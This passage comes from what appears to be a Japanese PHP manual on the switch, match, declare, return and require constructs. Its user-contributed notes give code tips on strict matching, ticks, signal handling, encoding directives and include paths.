 case ("other"): //do another thing
 break;
 default:
}
?>

rather use:

<?php
switch ($myvar) {
 case ("foo"):
 case ("bar"): //do something
 break;
 case ("other"): //do another thing
 break;
 default:
}
?>
chernyshevsky at hotmail dot com 28-May-2002 03:45
Be very careful when you're using text strings as cases. If the variable supplied to switch() is an integer, the cases would be converted to integer before the comparison is made (usually to zero). The following snippet prints "hello".

<?php
$a = 0;
switch($a) {
 case 'Hello': echo "Hello";
 break;
 }
?>
paz at spiralon dot com 15-May-2002 07:44
In case : ) it helps someone, I was able to clean up some hairball code by using nested switches (didn't see it mentioned here).  Thanks to all those who are writing examples - I love this site!

<?php
$string_match="second";
switch ($string_match) {
case "first":
case "second":
case "third":
    print "<H3>Something for all three</H3><br>";
    switch ($string_match) {
      case "first":
      print "something for first only";
      break;
      case "second":
      case "third":
      print "something for the other two";
      break;
    }
break;
default:
print "<H3>no match</H3>";
}
?>
x@x 25-Jul-2001 02:29
often you will have to perform multiple actions in sequence, but this sequence must be broken once one of them detects a stop condition (such as an error, when validating form request variables).
One way is to use:

if (check1()
&& check2()
&& check3()
) valid();
else error();

But when the sequence is long and must reordered, this can be errorprone because not all line of check have the same syntax (imagine that you want to comment one of them).

Another way is to rewrite it as:

check1() and
check2() and
check3() and
...
valid() or
error();

The above syntax does not fit well when the valid() code must be several statements.
An alternative syntax can be:

switch (false) {
case check1():
case check2():
case check3():
  error();
  break;
default:
  valid();
}

This last equivalent sample show you that each case expressions is evaluated, until one of them evaluates to a value equal (==) to the switch expression. Above, the error() code will only be called if one of the check evaluates to false. And the valid() code will only be evaluated only if the switch reach the default, which means that none of the above check returned false...
nospam at please dot com 14-Nov-2000 05:18
Just a trick I have picked up:

If you need to evaluate several variables to find the first one with an actual value, TRUE for instance. You can do it this was.

There is probably a better way but it has worked out well for me.

switch (true) {

  case (X != 1):

  case (Y != 1):

  default:
}


match

(PHP 8)

match 式は、値の一致をチェックした結果に基づいて評価結果を分岐します。 switch 文と似ていますが、 match 式は複数の候補と比較される制約式を持ちます。 switch 文とは異なり、 三項演算子のように値を評価します。 switch 文とは異なり、 弱い比較(==)ではなく、 型と値の一致チェック(===) に基づいて行われます。 match 式は PHP 8.0.0 以降で利用可能です。

例1 match 式の構造

<?php
$return_value = match (制約式) {
    単一の条件式 => 返却式,
    条件式1, 条件式2 => 返却式,
};
?>

注意: match 式の結果は、必ずしも使う必要はありません。

注意: match 式は、必ずセミコロン ; で終わらなければなりません。

match 式は、 switch 文と似ていますが、いくつかの違いがあります:

  • match 式の比較は、 switch 文が行う弱い比較ではなく、 厳密に値を比較(===) します。
  • match 式は値を返します。
  • match 式の分岐は、 switch 文のように後の分岐に抜けたりはしません。
  • match 式は、全ての場合を網羅していなければいけません。

switch 文のように、 match 式はマッチさせる分岐をひとつひとつ実行します。 はじめは、コードは何も実行されません。 以前のすべての条件式が、制約式とマッチしなかった場合に条件式が実行されます。 条件式に一致する式が評価された場合に、返却式が評価されます。 たとえば、以下のようになります:

<?php
$result = match ($x) {
    foo() => ...,
    $this->bar() => ..., // foo() === $x でなければ bar() は呼び出されません。
    $this->baz => beep(), // $x === $this->baz でなければ、beep() は呼び出されません。
    // などなど
};
?>

match 式の分岐は、複数の式をカンマ区切りで含めても構いません。 これは論理ORであり、複数の分岐の右辺を同じにする場合の短縮記法です。

<?php
$result = match ($x) {
    // この分岐は:
    $a, $b, $c => 5,
    // 以下の3つの分岐と等しい:
    $a => 5,
    $b => 5,
    $c => 5,
};
?>

default パターンという特別な場合があります。 このパターンは前の分岐にマッチしなかったあらゆる場合にマッチします。 たとえば、以下のようになります:

<?php
$expressionResult = match ($condition) {
    1, 2 => foo(),
    3, 4 => bar(),
    default => baz(),
};
?>

注意: 複数の default パターンがあった場合、 E_FATAL_ERROR が発生します。

match 式は、全ての場合を網羅していなければいけません。 制約式がどの分岐でも処理できなかった場合、 UnhandledMatchError がスローされます。

例2 処理されない match 式の例

<?php
$condition = 5;

try {
    match ($condition) {
        1, 2 => foo(),
        3, 4 => bar(),
    };
} catch (\UnhandledMatchError $e) {
    var_dump($e);
}
?>

上の例の出力は以下となります。

object(UnhandledMatchError)#1 (7) {
  ["message":protected]=>
  string(33) "Unhandled match value of type int"
  ["string":"Error":private]=>
  string(0) ""
  ["code":protected]=>
  int(0)
  ["file":protected]=>
  string(9) "/in/ICgGK"
  ["line":protected]=>
  int(6)
  ["trace":"Error":private]=>
  array(0) {
  }
  ["previous":"Error":private]=>
  NULL
}

厳密な一致チェックを行わずに match 式を使う

制約式に true を指定することで、 厳密な一致チェックを行わずに match 式を使うことができます。

例3 整数の範囲の応じてmatch式を分岐させる一般的な使い方

<?php

$age = 23;

$result = match (true) {
    $age >= 65 => 'senior',
    $age >= 25 => 'adult',
    $age >= 18 => 'young adult',
    default => 'kid',
};

var_dump($result);
?>

上の例の出力は以下となります。

string(11) "young adult"

例4 文字列の内容に応じてmatch式を分岐させる一般的な使い方

<?php

$text = 'Bienvenue chez nous';

$result = match (true) {
    str_contains($text, 'Welcome') || str_contains($text, 'Hello') => 'en',
    str_contains($text, 'Bienvenue') || str_contains($text, 'Bonjour') => 'fr',
    // ...
};

var_dump($result);
?>

上の例の出力は以下となります。

string(2) "fr"

User Contributed Notes

webmaster at warkensoft dot com 08-Mar-2021 04:39
In the "familiar example" presented by Hayley Watson the following code is incorrect:

strtolower(substr($name, 0, 3))

It should instead be written in both instances as:

strtolower(substr($month, 0, 3))
Hayley Watson 09-Dec-2020 12:50
As well as being similar to a switch, match expressions can be thought of as enhanced lookup tables — for when a simple array lookup isn't enough without extra handling of edge cases, but a full switch statement would be overweight.

For a familiar example, the following
<?php

function days_in_month(string $month): int
{
    static $lookup = [
    'jan' => 31,
    'feb' => 0,
    'mar' => 31,
    'apr' => 30,
    'may' => 31,
    'jun' => 30,
    'jul' => 31,
    'aug' => 31,
    'sep' => 30,
    'oct' => 31,
    'nov' => 30,
    'dec' => 31
    ];

    $name = strtolower(substr($name, 0, 3));

    if(isset($lookup[$name])) {
        if($name == 'feb') {
            return is_leap($year) ? 29 : 28;
        } else {
            return $lookup[$name];
        }
    }
    throw new InvalidArgumentException("Bogus month");
}

?>

with the fiddly stuff at the end, can be replaced by

<?php
function days_in_month(string $month): int
{
    return match(strtolower(substr($name, 0, 3))) {
        'jan' => 31,
        'feb' => is_leap($year) ? 29 : 28,
        'mar' => 31,
        'apr' => 30,
        'may' => 31,
        'jun' => 30,
        'jul' => 31,
        'aug' => 31,
        'sep' => 30,
        'oct' => 31,
        'nov' => 30,
        'dec' => 31,
        default => throw new InvalidArgumentException("Bogus month"),
    };
}
?>

Which also takes advantage of "throw" being handled as of PHP 8.0 as an expression instead of a statement.


declare

(PHP 4, PHP 5, PHP 7, PHP 8)

declare 文は、あるコードブロックの中に 実行ディレクティブをセットするために使用されます。declare の文法は他の制御構造と似ています。

declare (ディレクティブ)
    文

ディレクティブの箇所で、セットされた declareブロックの挙動を指定することが出来ます。 現在のところ、使用できるディレクティブは ticks ( ticksに関しては以下を参照してください)、 encoding (encoding に関しては以下を参照ください)、 strict_types (strict に関しては関数の引数のページを参照ください) です。

ディレクティブの処理は、ファイルをコンパイルする際に行われるので、 ディレクティブの値として渡せるのは、リテラルだけとなります。 変数や定数は、使えません。以下に例を示します。

<?php
// これは有効です
declare(ticks=1);

// これは無効です
const TICK_VALUE = 1;
declare(ticks=TICK_VALUE);
?>

declareブロックの文 の実行のされ方や実行時にどのような作用が起こるかについては ディレクティブに何が指定されたかに依存します。

declare構造はグローバルスコープしても使用され、 それはそれ以降のコード上の全てにおいて影響します (しかし、declare を含むファイルがインクルードされた場合は、 親ファイルにはその影響は及びません)。

<?php
// 以下は同じ意味です

// こうすることもできますし、
declare(ticks=1) {
    // ここにすべてのスクリプトを書きます
}

// こうすることもできます
declare(ticks=1);
// ここにすべてのスクリプトを書きます
?>

Ticks

tickとはdeclareブロックの実行中にパーサが N個の低レベル tick 可能な文を実行するごとに 発生するイベントのことです。Nの値は declareブロックのディレクティブの箇所で ticks=Nのように 指定します。

すべての文が tick 可能なわけではありません。 たとえば条件式や引数式などは tick できません。

tickごとに発生させるイベントはregister_tick_function() を使用して指定します。詳細は以下の例を参照してください。1回のtickで 複数のイベントが起こり得ることに注意してください。

例1 Tick の使用例

<?php

declare(ticks=1);

// tick イベントごとにコールされる関数
function tick_handler()
{
    echo "tick_handler() called\n";
}

register_tick_function('tick_handler'); // tick イベント発生

$a = 1; // tick イベント発生

if ($a > 0) {
    $a += 2;   // tick イベント発生
    print($a); // tick イベント発生
}

?>

register_tick_function() および unregister_tick_function() も参照ください。

Encoding

スクリプトのエンコーディングをスクリプトごとに指定するには encoding ディレクティブを使用します。

例2 スクリプトのエンコーディングの宣言

<?php
declare(encoding='ISO-8859-1');
// ここにコードを書きます
?>

警告

名前空間と組み合わせて使用する場合、使用できる形式は declare(encoding='...'); のみです。... にエンコーディングを指定します。declare(encoding='...') {} は、名前空間と組み合わせるとパースエラーとなります。

zend.script_encoding も参照ください。

User Contributed Notes

ohcc at 163 dot com 30-Dec-2019 04:59
It's possible to set directives at one time if every directive is supported.
<?php
    declare(strict_types=1, encoding='UTF-8');
?>
digitalaudiorock at gmail dot com 10-Mar-2019 09:10
Regarding my previous comment as to the change in scope of declare(ticks=1) between 5.6 and 7.x, I intended to mention another example of the affect this can have on signal handlers:

If your script uses declare(ticks=1) and assigns handlers, in 5.6 signals will get caught and call the handler even when the code that is running is in an included file (where the included file doesn't have the declaration). However in 7.x the signal wouldn't get caught until the code returns to the main script.

The best solution to that is to use pcntl_async_signals(true) when it's available, which will allow the signals to get caught regardless of what file the code happens to be in.
digitalaudiorock at gmail dot com 09-Mar-2019 09:14
A few important things to note for anyone using this in conjunction with signal handlers:

If anyone is trying to optionally use either pcntl_async_signals() when available (PHP >= 7.1) or ticks for older versions, this is not possible...at least not in a way that does NOT enable ticks for newer PHP versions. This is because there is simply no way to conditionally declare ticks. For example, the following will "work" but not in the way you might expect:

<?php
if (function_exists('pcntl_async_signals')) {
    pcntl_async_signals(true);
} else {
    declare(ticks=1);
}
?>

While signal handlers will work with this for old and new version, ticks WILL be enabled even in the case where pcntl_async_signals exists, simply because the declare statement exists. So the above is functionally equivalent to:

<?php
if (function_exists('pcntl_async_signals')) pcntl_async_signals(true);
declare(ticks=1);
?>

Another thing to be aware of is that the scoping of this declaration changed a bit from PHP 5.6 to 7.x...actually it was corrected apparently as noted here:

http://php.net/manual/en/function.register-tick-function.php#121204

This can cause some very confusing behavior. One example is with the pear/System_Daemon module. With PHP 5.6 that will work with a SIGTERM handler even if the script using it doesn't itself use declare(ticks=1), but does not work in PHP 7 unless the script itself has the declaration. Not only does the handler not get called, but the signal does nothing at all, and the script doesn't exit.

A side note regarding ticks that's annoyed me for some time: As if there wasn't enough confusion around all this, the Internet is full of false rumors that ticks were deprecated and are being removed, and I believe they all started here:

http://www.hackingwithphp.com/4/21/0/the-declare-function-and-ticks

Despite a very obscure author's note at the very end of the page saying he got that wrong (that even I just noticed), the first very prominent sentence of the article still says this, and that page is near the top of any Google search.
ohcc at 163 dot com 27-May-2018 02:54
Using a directive that is not supported by current version of PHP will generate a warning like:

Warning: Unsupported declare 'strict_types' in D:\Server\wuxiancheng.cn\index.php on line 2

You CAN'T prepend an @ sign to the declare construct to supress that error message.

@declare(strict_types=1);

The above code will lead to a Parse error like:

Parse error: syntax error, unexpected 'declare' (T_DECLARE) in D:\Server\wuxiancheng.cn\index.php on line 2
ja2016 at wir dot pl 27-Aug-2017 04:38
Don't use uft-8 encoding with BOM. Then fatal error occurs ALWAYS. Substitute it with utf-8 without BOM.

---

*BOM*
<?php
declare(strict_types=1);
//Fatal error: strict_types declaration must be the very first statement in the script
wapmorgan at gmail dot com 01-Aug-2017 08:49
If you fork'ed (with pcntl_fork) after you've used `declare`, you need to do it again in child thread.

declare(ticks=1);
$pid = pcntl_fork();
if ($pid === 0) {
    declare(ticks=1);
} else {
    // code ..
}
Ionut 10-Feb-2017 06:36
I haven't found this written in the doc: when using declare in the global context, it has to be the first statement in the script, before any other output.

This works:

<?php
declare(strict_types=1);
function sum(int $a, int $b): int {
    return 5.78;
}
# ... but fails when calling the function
?>

This doesn't work:

<html>
<body>
<?php
declare(strict_types=1);
function sum(int $a, int $b): int {
    return 5.78;
}
# PHP Fatal error:  strict_types declaration must be the very first statement in the script [...]
?>
Kubo2 06-Apr-2015 05:13
Note that in PHP 7 <?php declare(encoding='...'); ?> throws an E_WARNING if Zend Multibyte is turned off.
php at niekbosch dot nl 18-Feb-2014 04:17
Basically 'declare( encoding = .... );' overrides the zend.script_encoding configuration option (as set in php.ini). However, keep in mind that:

* the file encoding must be compatible (at least in the ASCII range of characters) to the zend.script_encoding setting. If you set 'zend.script_encoding' to UTF-8 and save the file in UTF-16, PHP will not be able to interpret the file, let alone the declare statement. As long as you use ASCII compatible encodings (i.e. ISO-8859-1(5), UTF-8 etc) for both the file encoding as the zend.script_encoding, you should be fine. (However, I have not experimented with adding non-ascii characters in comments above the declare statement).

* PHP string literals are converted from your source code encoding (either set with the declare statement or else according to zend.script_encoding) to the mbstring.internal_encoding as set in your php.ini (even if you change the setting using mb_internal_encoding). As an example:

php.ini:
mbstring.internal_encoding = UTF-8

test.php:
<?php
declare(encoding = 'ISO-8859-15');
mb_internal_encoding( 'ISO-8859-15' );
echo 'aaas' . "\n";
?>

This will still output the string UTF-8 encoded; in a terminal/browser with encoding 'ISO-8859-15' the string will look (something) like this: aA?aA?
php dot net at e-z dot name 17-Oct-2013 06:34
you can register multiple tick functions:

<?PHP
function a() { echo "a\n"; }
function b() { echo "b\n"; }

register_tick_function('a');
register_tick_function('b');
register_tick_function('b');
register_tick_function('b');

?>

will output on every tick:
a
b
b
b
sawyerrken at gmail dot com 09-Aug-2013 06:31
In the following example:

<?php
function handler(){
    print "hello <br />";
}

register_tick_function("handler");

declare(ticks = 1){
    $b = 2;
} //closing curly bracket tickable
?>

"Hello" will be displayed twice because the closing curly bracket is also tickable.

One may wonder why the opening curly bracket is not tickable if the closing is tickable. This is because the instruction for PHP to start ticking is given by the opening curly bracket so the ticking starts immediately after it.
Anonymous 27-Sep-2010 02:10
It's amazing how many people didn't grasp the concept here. Note the wording in the documentation. It states that the tick handler is called every n native execution cycles. That means native instructions, not including system calls (i'm guessing). This can give you a very good idea if you need to optimize a particular part of your script, since you can measure quite effectively how many native instructions are in your actual code.

A good profiler would take that into account, and force you, the developer, to include calls to the profiler as you're entering and leaving every function. That way you'd be able to keep an eye on how many cycles it took each function to complete. Independent of time.

That is extremely powerful, and not to be underestimated. A good solution would allow aggregate stats, so the total time in a function would be counted, including inside called functions.
markandrewslade at dontspamemeat dot gmail 13-Feb-2009 09:06
Note that the two methods for calling declare are not identical.

Method 1:

<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 1
declare(ticks=1);
while(1) sleep(1);

/* Output:
[1234544435.7160] Tick.--start--
[1234544435.7161] Tick.
[1234544435.7162] Tick.
[1234544436.7163] Tick.
[1234544437.7166] Tick.
*/

?>

Method 2:
<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 2
declare(ticks=1) {
    while(1) sleep(1);
}

/* Output:
[1234544471.6486] Tick.--start--
[1234544472.6489] Tick.
[1234544473.6490] Tick.
[1234544474.6492] Tick.
[1234544475.6493] Tick.
*/
?>

Notice that when using {} after declare, do_tick wasn't auto-called until about 1 second after we entered the declare {} block.  However when not using the {}, do_tick was auto-called not once but twice immediately after calling declare();.

I'm assuming this is due to how PHP handles ticking internally.  That is, declare() without the {} seems to trigger more low-level instructions which in turn fires tick a few times (if ticks=1) in the act of declaring.
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:06
The scope of the declare() call if used without a block is a little unpredictable, in my experience. It appears that if placed in a method or function, it may not apply to the calls that ensue, like the following:

<?php
function a()
{
   declare(ticks=2);
   b();
}

function b()
{
   // The declare may not apply here, sometimes.
}
?>

So, if all of a sudden the signals are getting ignored, check this. At the risk of losing the ability to make a mathematical science out of placing a number of activities at varying durations of ticks like many people have chosen to do, I've found it simple to just put this at the top of the code, and just make it global.
fok at nho dot com dot br 07-Jul-2003 06:45
This is a very simple example using ticks to execute a external script to show rx/tx data from the server

<?php

function traf(){
  passthru( './traf.sh' );
  echo "<br />\n";
  flush(); // keeps it flowing to the browser...
  sleep( 1 );
}

register_tick_function( "traf" );

declare( ticks=1 ){
  while( true ){}   // to keep it running...
}

?>

contents of traf.sh:
# Shows TX/RX for eth0 over 1sec
#!/bin/bash

TX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`
sleep 1
TX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`

echo -e "TX: $[ $TX2 - $TX1 ] bytes/s \t RX: $[ $RX2 - $RX1 ] bytes/s"
#--= the end. =--


return

(PHP 4, PHP 5, PHP 7, PHP 8)

return は、プログラムの制御を呼び出し元に戻します。 呼び出し側のモジュールでは、呼び出しの次の式から続行します。

関数内で呼び出されると、return文は即座に その関数の実行を停止し、引数を関数の値として返します。 returnはまた、eval()文や スクリプト自体の実行を終了させることが出来ます。

グローバルスコープで呼び出されると、現在実行中のスクリプトが終了 します。もしそのスクリプトが include もしくは require されたものである場合、制御は呼び出し元 のファイルに戻ります。また、そのスクリプトが include されたものである場合は、returnに与えられた引数 の値は include の戻り値となります。 returnがメインスクリプトで呼び出された場合は スクリプトが終了します。また、 設定ファイルの auto_prepend_file 又は auto_append_fileオプションで指定されたスクリプトの場合も 同様にそのスクリプトが終了します。

さらに詳しい情報に関しては 返り値を参照してください。

注意: return は関数ではなく言語構造であるため、 引数を括弧で囲う必要はなく、括弧の使用は推奨されないことに注意しましょう。

注意: パラメータを省略した場合は括弧も省略する必要があります。この場合の返り値は null です。 return に括弧をつけてコールしながら何も引数を指定しないと、 パースエラーとなります。

PHP 7.1.0 以降では、戻り値の型が void でない場合、引数なしの return 文は E_COMPILE_ERROR が発生するようになりました。 戻り値の型が void の場合、 return 文に引数があると、同様のエラーが発生します。

User Contributed Notes

J.D. Grimes 25-Jun-2013 08:11
Note that because PHP processes the file before running it, any functions defined in an included file will still be available, even if the file is not executed.

Example:

a.php
<?php
include 'b.php';

foo();
?>

b.php
<?php
return;

function foo() {
     echo 'foo';
}
?>

Executing a.php will output "foo".
warhog at warhog dot net 18-Dec-2005 12:28
for those of you who think that using return in a script is the same as using exit note that: using return just exits the execution of the current script, exit the whole execution.

look at that example:

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
return;
?>

(executing a.php:) will echo "ba".

whereas (b.php modified):

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
exit;
?>

(executing a.php:) will echo "b".


require

(PHP 4, PHP 5, PHP 7, PHP 8)

require は include とほぼ同じですが、失敗した場合に E_COMPILE_ERROR レベルの致命的なエラーも発生するという点が異なります。 つまり、スクリプトの処理がそこで止まってしまうということです。一方 include の場合は、警告 (E_WARNING) を発するもののスクリプトの処理は続行します。

どのように動作するかについては include のドキュメントを参照ください。

User Contributed Notes

phpDev a t eSurfers_dot_ com 25-Sep-2016 03:19
I didn't find mention that calling return from inside an required file is different than calling return from inside an included file.

return "aaa"; if called in the global scope of an included file will terminate the inclusion and return control to the main file givin "aaa" as a result of the include statement itself.

As far as I have tested (PHP 5.6.10) this does not apply to require
dank at kegel dot com 19-Jul-2015 05:46
PHP's require and include seem to differ from C's include in another way: they can't be used in the middle of an expression.  e.g.

$ more foo1.php foo2.php
::::::::::::::
foo1.php
::::::::::::::
<?php
print "hello"
.
#"there"
require 'foo2.php';
. "\n";
?>
::::::::::::::
foo2.php
::::::::::::::
"there"
$ php foo1.php
PHP Parse error:  syntax error, unexpected '.' in foo1.php on line 6

So php's include operates only on complete statements, whereas c's include operates on bytes of source code.
theunis dot botha1 at gmail dot com 11-Sep-2014 11:33
Just for those who may wonder about receiving E_WARNING (in custom error handlers) - PHP generates an E_WARNING when require or require_once fails - and before control returns to your script, it generates an E_COMPILE_ERROR.

So when require() or require_once() fails - don't be surprised to see two messages in your logs (if you have your logging setup this way) - once for the E_WARNING caught by your custom error handler, and once for getting the error from error_get_last() in your shutdown function (which is the actual E_COMPILE_ERROR you were expecting)
moreau dot marc dot web at gmail dot com 07-Feb-2014 10:10
Petit script pour resoudre le probleme de l'inclusion dans l'inclusion.

A requiert B qui requiert C -> l'on doit normalement faire correspondre le requiere de B en fonction de l'endroit ou se trouve A dans l'arborescence du site. Pas de souci, sauf si l'on est amene a requerir B depuis une autre page, impossible alors de faire appel au C -> cela retourne une erreur "fichier non trouve".

Voici une solution qui marche sur tout type de configuration:

Dans B:

<?php

chdir(__DIR__); //Sert a indiquer a PHP le dossier de reference de travail

$file_to_require=realpath('./../../adresse_de_C_relative_par_raport_a_B.php'); //Cree l'adresse absolue de C

require($file_to_require); unset($file_to_require);

?>
hans at ratzinger dot com 01-Sep-2013 05:25
Thanks a lot for this information Brian! This drove me nuts for many hours! This is the first information I found in the web that a white page can be caused by a require -> your script will die if the file is not found!!!
Wing 10-May-2010 05:04
if you want always include, require, open files using some 'root' folder based path you may may put file '.htroot' in 'root' folder and  use this.

while(!file_exists(getcwd()."/.htroot")){chdir('..');}

This code change current dir to dir where '.htroot' file located and everywhere you can use relative to 'root' paths.

Please avoid absent of '.htroot' file.
pedro dot evangelista at gmail dot com 16-Dec-2008 06:23
Be careful when using symbolic links, because require will search the real path of the file and not the path relative to the symbolic link.

Imagine your script A.php resides on directory /a and you create a symbolic link for it on directory /b/c.
So for the code

<?php
echo realpath("../");
?>

you might expect the directory /b, but actually you get the root directory /.

If you need to include the file /b/B.php inside your A.php, you can't use the following

<?php
require "../B.php";
?>

because it will search the root directory, not the /b directory.

Regards.
duccio at getlocal dot it 23-Nov-2008 01:37
In response to some dot user at notarealdomain dot com:

This is because require executes the code "as if" it was code written inside of the function, inheriting everything including the scope. But here there is something even more interesting:

<requiredfile.php>:
<?php

$this->a.=" is visible also under a require\n";
$b="While the variable b is a local variable of the function\n";
function FunctionUnderRequire() {
    echo "But the functions declared inside of a require called from a class function, just as when defined from inside any other function, are always global\n";
}
?>

<mainfile.php>:
<?php

error_reporting(E_ALL|E_STRICT);

class UserClass {

    protected $a;

    public function UserFunction() {
        $this->a='The class variable a';
        require 'requiredfile.php';
        echo $this->a; // "The class variable a  is visible also under a require\n"
        echo $this->b; // Notice: Undefined property: UserClass::$b
        echo $b; // "While the variable b is a local variable of the function\n"
        $this->FunctionUnderRequire(); //Fatal error!
        FunctionUnderRequire(); // "But the functions..."
    }
}

$UserClass=new UserClass;
$UserClass->UserFunction();
?>

I'm wondering if there is a method for declaring class public/private/protected functions from inside a require/include...
ricardo dot ferro at gmail dot com 14-May-2008 11:15
Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }

        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (array_search($path, $paths) === false)
            array_push($paths, $path);

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function remove_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (($k = array_search($path, $paths)) !== false)
            unset($paths[$k]);
        else
            continue;

        if (!count($paths))
        {
            trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>
Peter McDonald 15-Oct-2007 09:21
re the comment by moazzamk at gmail dot com

As the manual states require and require_once as of PHP 4.02 no longer call the file if the line of code it is on should not be executed.
scott 20-Sep-2007 01:27
If you want to verify that a file can be included or required, the simplest solution I've found is just to check that the file exists.

<?php

    if(file_exists($pageContentInc)){
        require_once $pageContentInc;
    }else{
        $pageContentInc = "common/content_404.inc";
        require_once $pageContentInc;
    }
?>

Does it really need to be any harder than that?
daniel at nohair dot com 06-Sep-2007 07:24
I love php.  But when file can't be included, 'require' or 'require_once' throw fatal error and halt the script, which is almost never desirable on a mission-critical production server.  I think it may be better to use something like the following.

<?php

if (@include 'plan_A.php') {
    // Plan A;
} elseif (@include 'plan_B.php') {
    // Plan B;
} else {
    // Hope never happens.  If does, then Email the webmaster;
    // Call 911, Medic, Fire, Police, the president;
    // Change hard drive, server, hosting service;
}

?>

Or handle trouble first is you wish

<?php

if (!@include 'plan_A.php') {
    // Someone has kidnapped/corrupted Plan_A.php;
    // Email the webmaster;
    // Change hard drive, server, hosting service;
} else {
    // Plan A;
}

?>
some dot user at notarealdomain dot com 11-Jul-2007 07:58
Discovered a bit of weird behavior yesterday involving require() (using PHP 5.2.3).  If you use require() inside a function, the "globals" in the file will be local to the function.  An example of this:

test.php:
<?php
  function TestFunc()
  {
    require('test2.php');
    echo "<pre>" . print_r($GLOBALS, true) . "</pre>";
  }
?>

test2.php:
<?php
  $MyTestGlobal = Array();
?>

This happens because require is a statement that _inlines_ the target code - not a function that gets called.

To fix this, use the $GLOBALS superglobal:

test2.php:
<?php
  $GLOBALS["MyTestGlobal"] = Array();
?>
chris at chrisstockton dot org 19-Jun-2007 05:06
Remember, when using require that it is a statement, not a function. It's not necessary to write:
<?php
 require('somefile.php');
?>

The following:
<?php
require 'somefile.php';
?>

Is preferred, it will prevent your peers from giving you a hard time and a trivial conversation about what require really is.
31-Jan-2007 03:38
A note that drove me nuts for 2 days!

Be carfull if you have a newline or blank space befor your php tags in the included/required file it will read as html and outputed.

If your running your output through javascript string evaluations which would be sensitive to newlines/white spaces be carfull that the first chars in the file are the php tages eg <?php
bmessenger at 3servicesolution dot com 17-Oct-2006 01:06
// Looks like I might have a fix for some on the
// relative path issue.

if (!function_exists('bugFixRequirePath'))
{
    function bugFixRequirePath($newPath)
    {
        $stringPath = dirname(__FILE__);
        if (strstr($stringPath,":")) $stringExplode = "\\";
        else $stringExplode = "/";

        $paths = explode($stringExplode,$stringPath);

        $newPaths = explode("/",$newPath);

        if (count($newPaths) > 0)
        {
            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") array_pop($paths);
            }

            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") unset($newPaths[$i]);
            }

            reset($newPaths);

            $stringNewPath = implode($stringExplode,$paths).
                $stringExplode.implode($stringExplode,$newPaths);

                return $stringNewPath;
        }
    }
}

require_once(bugFixRequirePath("../config.php"));
gabe at websaviour dot com 13-Jul-2006 05:42
If you are experiencing a bug related to using relative paths with include or require, it may be related to a grandparent directory that is executable but not readable.  It will cause __FILE__ to return a relative path instead of the full path which it is supposed to show.  This manifests itself in interesting ways that can be seemingly unrelated.  For instance, I discovered it using the Smarty {debug} command which failed to find its template due to this issue.  Please see the following for more details:

http://bugs.php.net/bug.php?id=34552
http://shiftmanager.net/~kurt/test/
Inc 31-May-2006 08:35
I have found a problem when I try to access a php file via require($class_directory)

// # $class_directory contain a long full path and dot into the last folder.
// # $class_directory = "/var/.../app/system/plugintoto_1.0/class_plugintoto_1.0.php";

// dot ('.') and minus ('-') are not accepted in require !
tjeerd 11-May-2006 06:41
When using symbolic links with PHP, specify a dotslash './page.php' path to ensure that PHP is looking in the right directory with nested requires:

E.g. when the required actual page1.php contains other require statements to, say page2.php, PHP will search the path that the symbolic link points to, instead of the path where the symbolic link lives. To let PHP find the other page2.php in the path of the symbolic link, a require('./page2.php'); statement will solve the puzzle.
webmaster at netgeekz dot net 24-Feb-2006 09:34
I have learnt to manipulate this code into an effecitve and easy to use form. I use it with require_once, but it could be used for require.

require_once($_SERVER['DOCUMENT_ROOT'].'/includes/top.php');

This mainly jumps back to the servers document root and then begins to enter the directories defined until it finds the file. In this case it would go back to the root of the server, or whatever your document root is, and then enter includes. there it would search for the top.php file. Simple to use, yet effective...espcially for people like me who re-use code or move files to different directories. I don't have to fix the includes, because they all work the same way.
dave at davidhbrown dot us 22-Jan-2006 12:08
re: danielm at unb dot br...

$_SERVER['DOCUMENT_ROOT'] is very useful, but it is not available with all web servers. Apache has it; IIS doesn't.

I use the following to make my PHP applications work in more situations:
<?php
if (!defined("BASE_PATH")) define('BASE_PATH', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : substr($_SERVER['PATH_TRANSLATED'],0, -1*strlen($_SERVER['SCRIPT_NAME'])));
?>

...but even that gets tripped up by symlinks to different mount points, etc. You could substitute realpath($_SERVER['PATH_TRANSLATED']), but that function has been reported not to work on some (Windows) servers. One could use the PATH_TRANSLATED for both servers, but I figure if Apache is going to tell me exactly what I want to know, I should listen.
Marc 06-May-2005 10:42
This will sound elementary, but for C++ native programmers, be sure NOT to put a '#' in front of your include statements! The parser will not give you an error, but also will not include the file, making for a tedious debugging process.

In short, USE:
<?php
     include "yourfile.php";
?>

and DON'T use:
<?php
     #include "yourfile.php";
?>
richardbrenner(-at- )gmx(-)at 07-Apr-2005 01:58
